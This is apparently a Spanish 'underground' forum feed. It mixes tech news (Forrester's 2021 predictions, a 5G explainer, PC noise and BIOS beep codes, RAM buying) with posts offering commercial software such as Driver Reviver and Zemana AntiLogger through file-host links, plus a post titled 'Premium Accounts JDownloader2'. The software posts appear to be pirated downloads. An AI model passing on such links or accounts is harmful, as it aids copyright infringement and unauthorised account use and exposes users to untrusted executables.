Quantcast
Channel: Comunidad Underground Hispana
Viewing all 11602 articles
Browse latest View live

Las 5 tecnologías que cambiarán nuestras vidas en 2021

$
0
0
La Inteligencia Artificial, la realidad aumentada y el Internet de las cosas podrían cambiar el funcionamiento de las empresas y el consumo de las personas en pocos años.

Los analistas afirman que existen varias tecnologías que van a cambiar nuestras vidas en tan solo cinco años.

Aunque Forrester Research afirma que hay 15 tecnologías emergentes en este momento, solo cinco de ellas podrían reorganizar en gran medida tanto a las organizaciones como a las personas, según Bryan Hopkins, analista de la firma.

Estas cinco tecnologías son:

- El Internet of Things
- La Inteligencia Artificial
- La realidad aumentada
- Los agentes inteligentes
- Las redes inalámbricas híbridas.

“Las tecnologías que hemos seleccionado tendrán el mayor impacto en tu capacidad para ganar, atender y conservar clientes cuyas expectativas de servicio a través de la tecnología están subiendo”, escribió Hopkins en el informe. “Nuestra lista se centra en aquellas tecnologías que tendrán el mayor impacto empresarial en los próximos cinco años”.

Este analista señala que los agentes inteligentes acompañados de Inteligencia Artificial están llegando a ser lo suficientemente inteligentes como para comprender el comportamiento de los consumidores, interpretar las necesidades y tomar decisiones.

“Para el 2021, creemos que la automatización, apoyada por agentes de software inteligentes impulsados por una evolución en Inteligencia Artificial y en tecnología cognitiva habrán eliminado un 6% de los trabajos en Estados Unidos”, escribió Hopkins. “Pero la pérdida no será uniforme. Habrá un 11% de pérdida de trabajos que son vulnerables y un 5% de creación de puestos en las industrias que se van a beneficiar”.

En relación con las redes inalámbricas híbridas, Bryan Hopkins apunta que en 2021 emergerá una infraestructura de red virtual para entrelazar las tecnologías inalámbricas que conectan a nivel global el IoT con las plataformas de atención al cliente.

En cuanto a la realidad aumentada, tecnología que superpone una imagen generada por ordenador o un escenario sobre una visión del mundo real, Forrester predice que dará “más juego” en las organizaciones durante los próximos años –y más tarde en los consumidores- que la realidad virtual.

En lo que respecta al Internet de las Cosas, Hopkins explica que ofrece a las compañías visibilidad y control de los clientes y de las realidades operacionales.

Patrick Moorhead, analista de Moor Insights & Strategy, afirmó que todas estas tecnologías “podrían cambiar la forma en que los servicios son entregados y comprados y cambiar la forma de interactuar de las empresas”.


Fuente:
computerworld.es

ReviverSoft Driver Reviver v5.13.0.4

$
0
0


ReviverSoft Driver Reviver v5.13.0.4 [Multi+Español]
[ RAR | Install | Win: 7/8/8.1/10 | 25.10 MB ]

Descripción:

Driver Reviver es un líder en PC utilidad de actualización del controlador de la industria que le ayudará a actualizar los controladores de ordenador en unos pocos clics! Driver Reviver utiliza uno de los más grandes y más completa base de datos del controlador. Asegura que siempre encontrará los controladores más recientes para su PC y otros dispositivos de hardware. Este programa explorará su PC para identificar desfasados ??y obsoletos los conductores. Reviver conductor puede actualizar de forma rápida y fácilmente a los conductores fuera de fecha que utilizan controladores originales del fabricante para restaurar el rendimiento óptimo de su PC y de su hardware. Se va a maximizar la funcionalidad y la vida de su PC y sus dispositivos. Driver Reviver es increíblemente fácil y rápido de usar e incluye características de seguridad como las copias de seguridad automáticas, Asistente de restauración, exclusiones, planificador y más para mantener su equipo en buen estado.

Capturas:


Características:

Identificar a los conductores fuera de la fecha de forma rápida y sencilla.
Actualizar los controladores de forma segura mediante los controladores originales del fabricante TODO fuera de fecha.
Maximizar el rendimiento y la funcionalidad de su PC y sus dispositivos.

Idioma: Multilenguaje Incluye Español
Compreso con Winrar

ReviverSoft Driver Reviver v5.13.0.4 [Multi+Español]
[ RAR | Install | Win: 7/8/8.1/10 | 25.10 MB ]




**Uploaded:

http://ul.to/w8ux5gzs

**Faststore:

http://faststore.org/6g5ltbvifhka

**Bigfile:

https://www.bigfile.to/file/g9K6QuFSyWvv

**Rockfile:

http://rockfile.eu/4z932mv8m96z.html


Deja Un Comentario - Comentar es Alentar

Evaer Video Recorder for Skype v1.6.5.97

$
0
0


Evaer Video Recorder for Skype v1.6.5.97 [Ingles]
[ RAR | Install | Win: 7/8/8.1/10 | 8.02 MB ]

Descripción:

Grabar video y audio en las llamadas de Skype películas en formato AVI. Fácil de usar para sus Skype de vídeo y audio conferencias, entrevistas, podcasts, o llamadas VoIP familia. Evaer - excelente video de Skype y funciones de la grabadora de audio: Captura de datos de vídeo y audio de Skype originales para grabar con alta calidad. Apoyan llamada sencillo y video llamadas de video de grupo. grabar directamente videollamadas de Skype en el disco duro con el lado a lado o en el modo independiente. archivo de audio MP3 separada récord en las llamadas de vídeo es opcional. Escoja su compresor de video en base a su requerimiento. respuesta automática de chat. Fácil de usar con interfaz de usuario amigable.

Capturas:


Características:

Capturar datos de vídeo y audio de Skype originales para grabar con alta calidad.
Soporta la grabación de vídeo de Skype individuales llamadas, sesiones de intercambio de pantalla de Skype y hasta 10 videollamadas grupales de Skype.
Grabar video llamadas de Skype directamente en el disco duro con el lado-a-lado, archivos separados, sólo audio, locales-webcam-solamente y el modo remoto de cámaras de sólo.
grabación cambiante compresor de vídeo, resolución de vídeo (compatible con 240p, 360p, 480p, 720p, 1080p) y velocidad de fotogramas.
Contestador automático para el vídeo de Skype y llamadas de voz entrantes.
Opción de grabar video llamadas de Skype en archivos MP4 o AVI.
Opción para grabar archivos de audio MP3 separados con llamadas de vídeo.
Opción de grabar ambos lados de sonido, sonido local solamente y solamente el sonido a distancia.
Automáticamente los archivos de audio MP3 registro si el audio llamadas sólo.
respuesta automática de chat.
Fácil de usar con interfaz de usuario amigable.
descarga gratuita para probar y libre para actualizar ..

Idioma: Ingles
Compreso con Winrar

Evaer Video Recorder for Skype v1.6.5.97 [Ingles]
[ RAR | Install | Win: 7/8/8.1/10 | 8.02 MB ]




**Uploaded:

http://ul.to/ln7w5xqr

**Faststore:

http://faststore.org/98k6w4t7uscp

**Bigfile:

https://www.bigfile.to/file/3mqgf3Pmv2Cd

**Rockfile:

http://rockfile.eu/6rg3srrc236v.html


Deja Un Comentario - Comentar es Alentar

Turbo Studio v16.0.482

$
0
0


Turbo Studio v16.0.482 [Ingles]
[ RAR | Install | Win: 7/8/8.1/10 | 327.49 MB ]

Descripción:

Turbo Studio (antes conocido como Spoon Studio) - Con esta aplicación se puede combinar archivos necesarios para realizar una ejecución de aplicaciones en un paquete que está listo para su uso sin el despliegue. La aplicación le permite crear un programas de contenedores y de ejecución virtuales en un entorno virtual sin la instalación y realizar cambios en el registro y el sistema.

Capturas:


Características:

Sin correr .NET .NET
Migrar a Windows 10
desplegar en cualquier lugar
# 1 en Compatibilidad
Fácil de usar
eliminar los conflictos

Idioma: Ingles
Compreso con Winrar

Turbo Studio v16.0.482 [Ingles]
[ RAR | Install | Win: 7/8/8.1/10 | 327.49 MB ]




**Uploaded:

http://ul.to/qnjnprxx

**Faststore:

http://faststore.org/r1oj0y0jh8oz

**Bigfile:

https://www.bigfile.to/file/GCfnE8GpXSk7

**Rockfile:

http://rockfile.eu/rswfftsg4xic.html


Deja Un Comentario - Comentar es Alentar

Zemana AntiLogger v2.30.204.75

$
0
0


Zemana AntiLogger v2.30.204.75 [Multi+Español]
[ RAR | Install | Win: 7/8/8.1/10 | 18,04 MB ]

Descripción:

AntiLogger es una solución de software desarrollado especialmente para prevenir el robo de información, proporcionando un potente conjunto de herramientas de seguridad diseñadas para proteger a los usuarios. Aunque una aplicación de seguridad, esto no es un antivirus, pero podría colaborar con una solución de dicho software para entregar la defensa más avanzada para la de un ordenador. Es capaz de detectar keyloggers, pantalla, cámara web y madereros del portapapeles sin reducir la velocidad de Windows y, más importante, sin afectar a la actividad de otras herramientas de seguridad que puedan estar instalados en el sistema.

Capturas:


Características:

Anti-SSL Logger módulo que proporciona protección contra el registrador de SSL
Anti-WebCam Logger que proporciona protección contra el registrador de Webcam
Módulo Anti-Logger clave que proporciona protección frente a Key Logger
Logger anti-pantalla que proporciona protección contra el registrador de la pantalla
Anti-Portapapeles Logger que proporciona protección contra ClipBoard Logger
Módulo del sistema de defensa que protege su sistema de

Idioma: Multilenguaje Incluye Español
Compreso con Winrar

Zemana AntiLogger v2.30.204.75 [Multi+Español]
[ RAR | Install | Win: 7/8/8.1/10 | 18,04 MB ]




**Uploaded:

http://ul.to/jwp5wrb1

**Faststore:

http://faststore.org/e1o4ik5houi6

**Bigfile:

https://www.bigfile.to/file/xq7xNvDPfQR4

**Rockfile:

http://rockfile.eu/ptnqwor3eaqa.html


Deja Un Comentario - Comentar es Alentar

FlipBuilder Flip PDF Professional v2.4.3.3

$
0
0


FlipBuilder Flip PDF Professional v2.4.3.3 [Multi+Español]
[ RAR | Install | Win: 7/8/8.1/10 | 108,46 MB ]

Descripción:

Voltear PDF Professional es un poderoso fabricante de libro animado rica en características con la función de página de edición. Flip PDF Professional, que son capaces de crear inspiradores libros de paso de página para mostrar sin problemas en el iPad, iPhone, dispositivos y escritorio de Android. Comience con cientos de plantillas diseñadas previamente impresionantes, personalizar totalmente su folleto digital o catálogo con efecto interactivo mediante la adición de multimedia como el vídeo de YouTube, imagen, hipervínculo, Flash en la interfaz de arrastrar y soltar, simplemente, todo el mundo puede generar impresionante flip libros fácilmente.

Capturas:


Características:

Convertir PDF a libros electrónicos Adobe Flash voltear la página base.
Lote convertir varios archivos PDF en uno o varios libros electrónicos voltear la página.
Proporcionar versión de línea de comandos.
Ofrecer panel Proyecto para fácil de abrir o guardar el proyecto.
Importar marcadores (esquema) de PDF original, y editar de forma manual.
hipervínculos importación de PDF original, incluyendo enlace de Internet, el vínculo y enlace de correo electrónico.
Importación de texto por lo que se pueden realizar búsquedas de texto, definir los mínimos caracteres de búsqueda.
Añadir marca de agua de texto, imagen, dinámica de fecha / hora y más a los libros electrónicos voltear la página.
Definir la calidad y el tamaño de la versión normal y versión móvil.
Detectar página horizontal para presentar como de dos páginas.

Idioma: Multilenguaje Incluye Español
Compreso con Winrar

FlipBuilder Flip PDF Professional v2.4.3.3 [Multi+Español]
[ RAR | Install | Win: 7/8/8.1/10 | 108,46 MB ]




**Uploaded:

http://ul.to/aomxtxnt

**Faststore:

http://faststore.org/u8pq2i9ay0xd

**Bigfile:

https://www.bigfile.to/file/bbMqWFrqNFmu

**Rockfile:

http://rockfile.eu/e0iiys8ctugn.html


Deja Un Comentario - Comentar es Alentar

5G Preguntas y Respuestas

$
0
0
El pasado Mobile World Congress fue el pistoletazo de salida del nuevo estandar de comunicación móvil de datos, el 5G. Y desde entonces se ha levantado mucha controversia y dudas al respecto.

Aunque para el usuario normal el 5G puede parecer un simple cambio de tecnología, este va mucho más allá, y van a suponer grandes cambios para la infraestructura de redes móviles por la propia concepción del servicio.

Aquí os vamos a intentar esclarecer este tema, con toda la información que tenemos en manos y los futuros pasos que tiene que dar para llegar al mercado.

¿Qué es el 5G?

El 5G es el nuevo protocolo de comunicación de datos móviles que busca cubrir las necesidades futuras, y casi podemos decir actuales. La explosión del Internet of Things (IoT) ha supuesto un desafío para todos los nuevos dispositivos que requieren de una conexión a internet propia e independiente de nuestro smartphone, y este ha sido uno de los cambios de concepción más importantes.

Esto ha provocado que la concepción del 5G haya tenido que partir prácticamente de 0, buscando una solución a las diferentes demandas de conectividad de los diferentes dispositivos, donde unos requieren de una alta velocidad de datos, mientras que otros necesitan la latencia más baja posible.

¿Cómo van a hacerlo?

La actual red 4G nos ofrece una señal de la que se nutren todos los actuales dispositivos del mercado, ya sean smartphones o wearables. Por ello las diferencias entre ambos dispositivos pueden ser notables en cuanto a necesidades, y sin embargo ambos dispositivos utilizan módems de características similares.

Este es uno de los motivos por los que la autonomía de los wearables es más baja de lo que nos gustaría.

Con la llegada del 5G, también llegada la red virtualizada. De esta forma, la señal que recibe cada dispositivo se adapta en función de sus necesidades, consiguiendo tasas de transferencia elevadas para dispositivos que puedan consumir contenidos 4K, por poner un ejemplo, o una menor capacidad de ancho de banda, pero mayor estabilidad y menor latencia.

Esta señal inteligente es lo que hará que el consumo energético de los dispositivos sea mucho más reducido, y repercutirá de una forma muy beneficiosa en la autonomía de los equipos con esta tecnología.

¿Cuándo llegará a España el 5G?

Ya en el Mobile World Congress de Barcelona se adelantó que el objetivo, como tantos otros proyectos de innovación, tiene su objetivo en 2020, pero no ha sido hasta el pasado mes de Julio donde se ratificó esta fecha mediante el Manifesto 5G, firmado por todas las grandes compañías de telecomunicaciones de Europa.

En él se establece un compromiso de que al menos una ciudad de cada país miembro de la Comunidad Económica Europea (CEE) tendrá establecidos los servicios 5G. Esto, que puede parecer aún lejano, llegará antes de lo que pensamos, aunque el proceso está siendo lento, ya que de momento no se ha cerrado ni las bandas de utilización ni las características propias del servicio.

¿Qué dispositivos serán los primeros en adoptar esta tecnología?
Podemos decir que los smartphones junto a los wearables serán los primeros en recibir esta tecnología, aunque tampoco podemos olvidar un sector que en estos momentos se está incorporando a las conexiones móviles: los coches.

La conducción autónoma sigue avanzando a pasos agigantados, y lo que veíamos como un futuro lejano ya no lo es tanto. También tenemos vehículos capaces de ofrecer conexión 4G, y conectarse a nuestro smartphone para utilizar algunas de sus funcionalidades como programar la calefacción, compartir rutas con el google maps o incluso arrancar el coche.

¿Mejorará la cobertura del dispositivo con respecto al 4G?

El objetivo del 5G es que la conectividad inalámbrica llegue más lejos y mejor. Para ello, además de cubrir las actuales bandas del 4G, también se recurrirán a otras adicionales por debajo del GHz, y algunas por encima de los 6 GHz, aunque estas últimas solo se utilizarán en casos donde sea necesario un ancho de banda extremo.

Os aclaramos, que, al igual que sucede con las ondas de radio, cuanto más baja es la frecuencia mayor es el alcance de la señal, aunque esta disminuye su calidad. Por este motivo, las emisoras AM son mucho más estables pero también ofrecen un sonido menos nítido.

En los datos móviles sucede lo mismo, de forma que nuestro terminal funcionará normalmente con las bandas de 1800 y 2600 MHz en grandes ciudades, mientras que en zonas más alejadas de los núcleos urbanos de gran densidad se utiliza la banda de 800 MHz.

Además, gracias a la tecnología LAA (License Asisted Access), podremos utilizar las frecuencias de la conexión WiFi para potenciar y mejorar la señal de recepción de nuestro dispositivo.

¿Bajarán las tarifas de datos?

La tecnología 5G traerá consigo una adaptación de todas las infraestructuras de telefonía móvil, donde siendo conscientes de este futuro estándar, ya cuentan con sistemas modulares en sus sistemas para poder actualizar de una forma más sencilla. Pero los cambios son notables y requerirán de un importante esfuerzo económico para renovarse.

Aunque como siempre sucede, todo depende de la economía de escala. Esto es, si la demanda es más elevada, los costes de fabricación se diluyen. Adicionalmente a esto, la nueva tecnología también trae consigo una optimización del OFDM (Orthogonal Frequency Division Multiplexing) donde se podrán mandar más bits por Hz, consiguiendo transmitir más información por el mismo coste, además de un ahorro energético, por lo que es de suponer una bajada del coste por GB de descarga.

¿Desaparecerán las llamadas de voz tradicionales y se incluirán como datos?

Los terminales 2G/3G utilizan un sistema de llamadas por conmutación de cirtcuitos tradicional, de forma que esta conexión cambia su funcionamiento en el momento que estamos realizando una llamada, orientando toda la señal para otorgar cobertura a la llamada.

Este sistema cambió con el 4G, que permite realizar una transmisión por paquetes para la voz, olvidándonos de la conmutación del 2G/3G. El problema ha sido que con una red de teléfonos tan extendida con el 3G, no se podía saltar toda la infraestructura creada para este tipo de conexión, por lo que los teléfonos actuales 4G cambian de modo de funcionamiento a 2G/3G cuando realizamos o recibimos una llamada.

Esto podría cambiar con el 5G, donde la infraestructura si podría estar preparada para abandonar las llamadas tradicionales, y meterlas en la misma transmisión por paquetes que tenemos con los datos de nuestro teléfono, simplificando el sistema y mejorando la calidad de las llamadas. Esta tecnología es denominada VoLTE.

¿Qué velocidad alcanzará?

Tal y como se ha dicho al principio, no están establecidas las bases ni las características de los servicios, pero ya se habla del famoso hito de conseguir una velocidad de transferencia superior a 1 Gbps (o 1000 Mbps).

En estos momentos lo que tenemos con el 4G es una velocidad de transferencia máxima que ronda los 150 Mbps en terminales con LTE categoría 4, mientras que los más avanzados, que si admiten el LTE cat 6 o 9, pueden alcanzar velocidades de hasta 450 Mbps, e incluso 600 Mbps si hablamos de la cat 11.

Lo cierto es que este ancho de banda no llega a la mayoría de los terminales, y tan sólo en determinadas zonas podemos disfrutar de ese aporte extra de velocidad que nos ofrece el 4G+.


Fuente:
Luis Valdemoro
computerhoy.com

Ruidos extraños en el PC: ¿Cómo identificar el fallo?

$
0
0
Un ordenador no tiene por qué ser ruidoso y, de hecho, si lo es, puede ocasionar una fatiga adicional a su usuario, ya que no es agradable tener un zumbido, pitido o ruido constante durante horas y horas.

Pero los sonidos que emite tu ordenador no siempre son negativos. Del mismo modo que un doctor ausculta a sus pacientes, puedes detectar ciertos problemas y adelantarte a ellos escuchando atentamente los sonidos que hace tu ordenador al arrancar o mientras está funcionando con diferentes cargas de trabajo.

¿Has escuchado los pitidos que se producen cuando se inicia tu ordenador? ¿Sabes qué significan? ¿Mientras estás jugando se oyen unos zumbidos extraños en el interior de tu PC?

A continuación, te desvelamos qué se esconde tras esos sonidos y te damos las claves para adelantarte a futuros problemas que podrían tener nefastas consecuencias para tu ordenador e incluso la pérdida de datos.

Ventiladores demasiado ruidosos

Si los sistemas de refrigeración suenan como si de un momento a otro tu ordenador fuera a despegar, muy probablemente es que algo no esté funcionando como debiera.

Este exceso de ruido en un PC se puede deber a dos causas principales: la primera de ellas está relacionada directamente con el desgaste del propio ventilador, cuyos rodamientos han sufrido un desgaste natural que se produce debido al tiempo de uso.

En ese caso, la mejor opción es sustituir el ventilador afectado por otro de las mismas dimensiones y características, teniendo en cuenta al instalalos que estos ventiladores tienen una dirección de entrada y salida de aire.

Comúnmente, esta dirección viene indicada en uno de los laterales de los ventiladores, por lo que deberás tenerlo en cuenta y fijarte en el sentido que está instalado el anterior ventilador para no instalar al revés el nuevo ventilador.

Por otro lado, la placa base se encarga de controlar la temperatura del procesador y, en función de ésta, hace trabajar al ventilador que lo refrigera a mayor o menor velocidad. Si al poco tiempo de encender tu ordenador notas que el ventilador suena muy revolucionado, muy probablemente sea porque el disipador del procesador está muy sucio y el ventilador no consigue refrigerarlo adecuadamente, por lo que la placa base lo obliga a trabajar al máximo de sus posibilidades para mantener la temperatura en unos niveles seguros.



En ese caso, puedes utilizar un bote de aire comprimido de limpieza, que encontrarás en tiendas de electrónica, para limpiar a fondo el polvo del disipador del procesador, o si te vez capaz, desmontar el disipador para limpiarlo más cómodamente, limpiando y renovando la pasta térmica que debes aplicar entre el procesador y el disipador antes de volver a instalarlo.

Exactamente lo mismo puede sucederle al sistema de refrigeración de tu tarjeta gráfica, haciendo que sus ventiladores suenen como turbinas.

De ese modo, el ruido de tu ordenador se reducirá sustancialmente, al mismo tiempo que consigues mantener las temperaturas de tu equipo bajo control.

La placa base te habla

Tal vez no lo sepas, pero la placa base de tu ordenador cuenta con patrón de sonidos que permite identificar un problema incluso antes de abrir la caja de tu ordenador para ver su interior. ¿Al encender tu ordenador, se escucha un pitido breve antes de iniciar el sistema operativo? Pues ese pitido es el medio que tiene la placa base de tu ordenador de decirte que todo está en orden y se va a iniciar el sistema.

Muchas placas base no cuentan con un altavoz integrado, por lo que para poder escuchar los sonidos que indican los problemas que pueda detectar la placa base será necesario instalar uno.

Este pequeño dispositivo acostumbra a venir como accesorio de las placas base o de las cajas para ordenadores, y se conecta directamente en la placa base.



Una vez conectado, la placa base es capaz de emitir una serie de sonidos que responden a un determinado patrón de averías.

La mayoría de las placas base comparten el mismo patrón sonoro de aviso de errores, que suele ser algo como lo que os detallamos a continuación. No obstante, algunos fabricantes de las BIOS (o UEFI) utilizan su propio sistema de códigos sonoros, por lo que si escuchas algún sonido inusual al iniciar tu equipo, lo más recomendable será revisar el manual de tu placa base u ordenador o buscar información en Internet sobre los avisos que emite el modelo de tu placa base.

Estos son algunos de los avisos sonoros más comunes:

•Ningún pitido: si al iniciar el PC no se escucha ningún pitido puede deberse a varias razones, entre las que se incluyen que el altavoz de la placa base no esté correctamente conectado o que no funcione como debiera. En algunas placas base esto simplemente significa que todo está correcto, por lo que no hay motivo por lo que notificar nada. También es posible que no llegue suministro eléctrico a la placa base, por lo que el ordenador no podría iniciarse.

•Un pitido corto: Como norma general, este pitido breve suele ser el indicativo de que la placa no ha encontrado ningún error y por lo tanto se va a iniciar el arranque del sistema operativo.

•Pitido continuo: normalmente este sonido se produce cuando la placa base detecta que está recibiendo un suministro eléctrico inadecuado, lo cual suele estar directamente relacionado con la fuente de alimentación, o con algunas de las fases de alimentación de la placa.

•Pitidos cortos continuos: Este sonido indica que la propia placa ha detectado un fallo en la placa base, que probablemente estará defectuosa.

•Pitido largo: Suele indicar algún tipo de error relacionado con los módulos de memoria RAM, bien por estar defectuoso o por estar correctamente instalado.

•Pitido largo y corto: Este sonido indica un posible error en la codificación de la BIOS, o que ésta se ha corrompido impidiendo su correcto funcionamiento.

•Pitido largo y dos cortos: Indica un fallo en la tarjeta gráfica, que puede indicar que la tarjeta gráfica no está respondiendo o que el puerto donde está conectada no la detecta correctamente.

•Tres pitidos cortos: Este tipo de aviso también está relacionado con la memoria RAM, aunque en este caso indica que hay un error en los primeros 64 Kb de la memoria RAM.

•Cuatro pitidos cortos: Indica que se ha detectado un error en el reloj de la placa.

•Cinco pitidos cortos: Este aviso indica que el procesador o la tarjeta gráfica se encuentran bloqueados y no aceptan los comandos de la placa base, por lo que pueden presentar fallos en su funcionamiento.

•Seis pitidos cortos: Este aviso sonoro indica un error en el teclado conectado, bien porque está defectuoso o porque el conector no es capaz de detectarlo.

Las placas base de gama alta, han sustituido estas señales sonoras por un pequeño display en el que se muestra un determinado código y unas luces LED que indican el estado de la placa y los componentes conectados a ella.

¿Ruidos extraños en los discos duros?

Los discos duros magnéticos generan un ruido muy característico mientras están trabajando. A pesar de que unos modelos son más ruidosos que otros, si el sonido que emite tu disco duro difiere de ese característico “gorgoteo” tan característico de los discos duros es porque, probablemente, algo no está funcionando correctamente en si interior

Los discos duros magnéticos cuentan con varias partes móviles que son susceptibles al desgaste, y este desgaste puede manifestarse en forma de ruidos extraños y golpes antes de que esa parte del disco termine por dejar de funcionar definitivamente.

Si tu disco duro comienza a emitir ruidos o golpes extraños al funcionar, probablemente está anunciando su muerte prematura, por lo que debes procurar poner a salvo inmediatamente todos tus datos, así como dejar de usar ese componente para tareas que requieran cierta fiabilidad.

Ese disco puede dejar de funcionar en cuestión de años o no llegar al final del día, lo que es seguro es que, dado que probablemente ya adolezca de un problema mecánico, cuando deje de funcionar, la recuperación de los datos solo se podrá realizar desde un laboratorio de recuperación de datos, cuyo coste de escapará del alcance de muchos bolsillos.

Ruido eléctrico

A pesar de que, técnicamente hablando, el ruido eléctrico no tiene nada que ver con el sonido, le uso de este concepto para describir el zumbido que se produce en determinados circuitos electrónicos se ha popularizado.

Existe un fenómeno que puede darse en el interior de los componentes de muchos ordenadores, en el que, componentes que carecen de partes móviles, de repente comienzan a emitir zumbidos y molestos chirridos.

Este sonido acostumbra a localizarse en los condensadores y bobinas integradas en los circuitos electrónicos de los componentes y es el resultado del llamado efecto piezoeléctrico inverso que no es más que una vibración mecánica en los cristales que forman el condensador, cuando éste se somete a tensiones eléctricas. Esas vibraciones producen ondas de presión de alta frecuencia que nuestro oído interpreta como zumbidos o pitidos, según la intensidad.



Estos ruidos eléctricos, suelen producirse en los sistemas de alimentación de los componentes, aunque los componentes más propensos a sufrirlos, como las fuentes de alimentación, acostumbran a utilizar resinas especiales para aislar las bobinas y evitar al máximo estas vibraciones.

Este tipo de ruidos pueden aparecer al someter a los componentes a cierta carga de trabajo, por lo que es posible que sólo aparezcan cuando ejecutas algún videojuego que exija el máximo a la tarjeta gráfica o cuando inicies un programa exigente para el ordenador.

Este ruido eléctrico no está exento de una cierta aura de misterio ya que no es un síntoma que afecte a un solo componente, sino que puede que una determinada placa base o tarjeta gráfica instalada con una determinada fuente de alimentación, produzca este tipo de ruido eléctrico siempre, mientras que si se instalan con otros componentes distintos, puede que nunca se produzcan.

Aunque es difícil acertar qué combinación específica de componentes no va a generar este tipo de sonido eléctrico, existen una serie de elementos de la circuitería que son menos propensos a sufrirlos, por lo que si al elegir los componentes de tu PC los tienes en cuenta, es muy probable que nunca los escuches.

Elegir componentes para tu PC que contengan condensadores de estado sólido de calidad y bobinas de ferrita convenientemente encapsuladas y aisladas, son casi una garantía para evitar este tipo de ruido en tu equipo.

El sonido eléctrico no tiene mayor consecuencia que la molestia que supone oír constantemente un zumbido o pitido a tu lado, pero solo este hecho puede hacerte perder los nervios si vas a pasar algún tiempo con tu ordenador al lado.


Fuente:
Ruben Andres
computerhoy.com

[24/09/2016] Premium Accounts JDownloader2 [3 DATABASE]

Cómo elegir la memoria RAM

$
0
0
La memoria RAM es un componente muy importante en cualquier dispositivo electrónico, tanto un PC como un teléfono móvil. En esta guía vamos a centrar la atención en qué debemos fijarnos a la hora de comprar módulos de memoria RAM. En este caso, nos vamos a centrar en la memoria RAM para ordenadores de sobremesa, aunque también se puede aplicar casi todo a la de los ordenadores portátiles.

La memoria sobre la que vamos a hablar es la DDR4, ya que a la DDR3 le quedan apenas un par de años a la venta, y nadie que se vaya a comprar un ordenador desde el momento de escribir este artículo en adelante debería comprar RAM DDR3, ya que DDR4 permite operar con un voltaje menor, velocidades el doble de rápidas, y mayor densidad de memoria.

En la actualidad no hay grandes diferencias de rendimiento entre DDR3 y DDR4, sobre todo en videojuegos. El salto que hubo de DDR a DDR2 fue abismal, mientras que el de DDR2 a DDR3 también vino a solventar problemas asociados a limitaciones en el ancho de banda. A pesar de esto, debemos tener en cuenta de que esto en el futuro puede cambiar, y que el DDR4 se haga totalmente necesario.



Definición

La memoria RAM es una memoria volátil, cuyas siglas significan Memoria de Acceso Aleatorio. Esta memoria es la encargada de gestionar los programas que están abiertos en tu ordenador.

Cuando abrimos un programa, lo que estamos haciendo es cargarlo en la RAM a partir de los archivos de instalación que se encuentran en nuestro HDD/SSD, con el fin de que la aplicación tenga un acceso dinámico muchísimo más rápido y sin esperas.

Un programa abierto almacenará todos sus cálculos en la RAM.

En un juego, esto permite que los cálculos que haga sean cada vez más complejos. Por tanto, cuanta más memoria RAM tengamos, más programas podremos tener abiertos, más pesados podrán ser éstos, y mejor funcionarán. Al ser volátil, cuando apaguemos el ordenador, ésta se borrará.

Los tres aspectos que tenemos que tener en cuenta a la hora de elegir una memoria RAM son los siguientes:

Frecuencias, latencias y velocidad

La frecuencia está expresada en MHz, y cuanto mayor sea esta, mayor será la velocidad de acceso a la información almacenada en la memoria. Los módulos DDR4 van desde los 2133 MHZ hasta los 4266 MHz, situándose el punto más adecuado en calidad/precio entre los 2.400 y los 3.000 MHz.

La latencia expresa el retraso que hay entre la petición y ejecución de una tarea. Por tanto, cuando menor sea, mejor será el módulo. Este dato viene expresado mediante la nomenclatura ‘CLX’, siendo X el número en el que tenemos que fijarnos. Una RAM CL11 será mejor que una RAM CL15, pues su latencia será menor.

¿Qué factor importa más a la hora de elegir una memoria?

Claramente, la frecuencia. Una frecuencia elevada hace que la RAM sea mucho más rápida, y compense una latencia mayor. El orden de preferencia debe quedar como:

Capacidad>Frecuencia>Latencia a la hora de elegir una memoria u otra.

Para terminar este apartado, otro dato que suele aparecer en la descripción de los módulos de memoria RAM se expresa como, por ejemplo, PC4-25600. PC4 hace referencia al tipo de memoria, en este caso el 4 se corresponde con DDR4, y PC3 sería DDR3. El 25.600 es la tasa de transferencia en MB/s, siendo en este caso 25.600 la tasa máxima a la que es capaz de transferir información el módulo.

Los últimos SSD presentados por Samsung, que utilizan también memoria NAND y van conectados por PCIe, alcanzan velocidades de lectura de 3.500 MB/s, y es probable que en el futuro los SSD más caros se sigan acercando aún más a las velocidades que ofrecen los módulos de memoria RAM.

Formato

Las placas base que soportan DDR4 llevan con nosotros ya unos cuantos años. Todos los modelos de placas base H170 y Z170 soportan de manera nativa la memoria RAM DDR4. Los módulos DIMM son para ordenadores de sobremesa, mientras los SO-DIMM son para ordenadores portátiles.

Capacidad

En la actualidad, Windows 10 Pro puede llegar a soportar hasta 2 TB de RAM, aunque nunca vamos a llegar a eso. Las capacidades más comunes en los ordenadores actuales son, como mínimo, 4 GB de RAM. Con 8 GB podemos tener un uso bastante cómodo, incluso abriendo varios programas a la vez, y para jugar a casi todos los juegos actuales. Con 16 GB iremos con mucha más soltura, y si tenemos un ordenador de alta gama los agradeceremos y mucho, sobre todo a la hora de editar, jugar, o tener muchas instancias abiertas a la vez. 32 GB de RAM no serán necesarios para la gran mayoría de usuarios (sobre todo los jugones) hasta por lo menos dentro de 5 años.

Conclusiones

Por tanto, concluimos que en la actualidad 8 GB de RAM DDR4, con una frecuencia entre los 2.400 y 3.000 MHz, es más que suficiente para la gran mayoría de tareas y juegos, aunque a partir de ahora casi que empieza a ser más recomendable adquirir 16 GB porque en el futuro tanto los juegos como las tareas que realicemos en el ordenador demandarán más memoria RAM, asociada a un aumento de la capacidad de procesamiento de los ordenadores durante los próximos años, tanto a nivel de procesador como de tarjeta gráfica.


Fuente:
Alberto García
adslzone.ne

Esko ArtPro+ v16.0 Build 10047

$
0
0


Esko ArtPro+ v16.0 Build 10047 [Multi+Español]
[ RAR | Install | Win: 7/8/8.1/10 | 392.51 MB ]

Descripción:

Próxima generación editor de PDF. ArtPro + es la próxima generación de editor de PDF para el envasado de preimpresión. Es el sucesor natural de los editores estándar de la industria de envasado y ArtPro PackEdge.

Capturas:


Características:

PDF nativo editor de preimpresión
revolucionaria interfaz: un golpe, todas las herramientas
velocidad de vértigo
Trabajar más inteligentemente, no más difícil
ArtPro + tiene envasado en su núcleo
Reducir los errores con software integrado
curva de aprendizaje muy corta
las conversiones de color sin complicaciones

Idioma: Multilenguaje Incluye Español
Compreso con Winrar

Esko ArtPro+ v16.0 Build 10047 [Multi+Español]
[ RAR | Install | Win: 7/8/8.1/10 | 392.51 MB ]




**Uploaded:

http://ul.to/xvt0wd12

**Faststore:

http://faststore.org/pfl8l9uybcwv

**Bigfile:

https://www.bigfile.to/file/aZX26vaaE9cA

**Rockfile:

http://rockfile.eu/x8zbbuug4czi.html


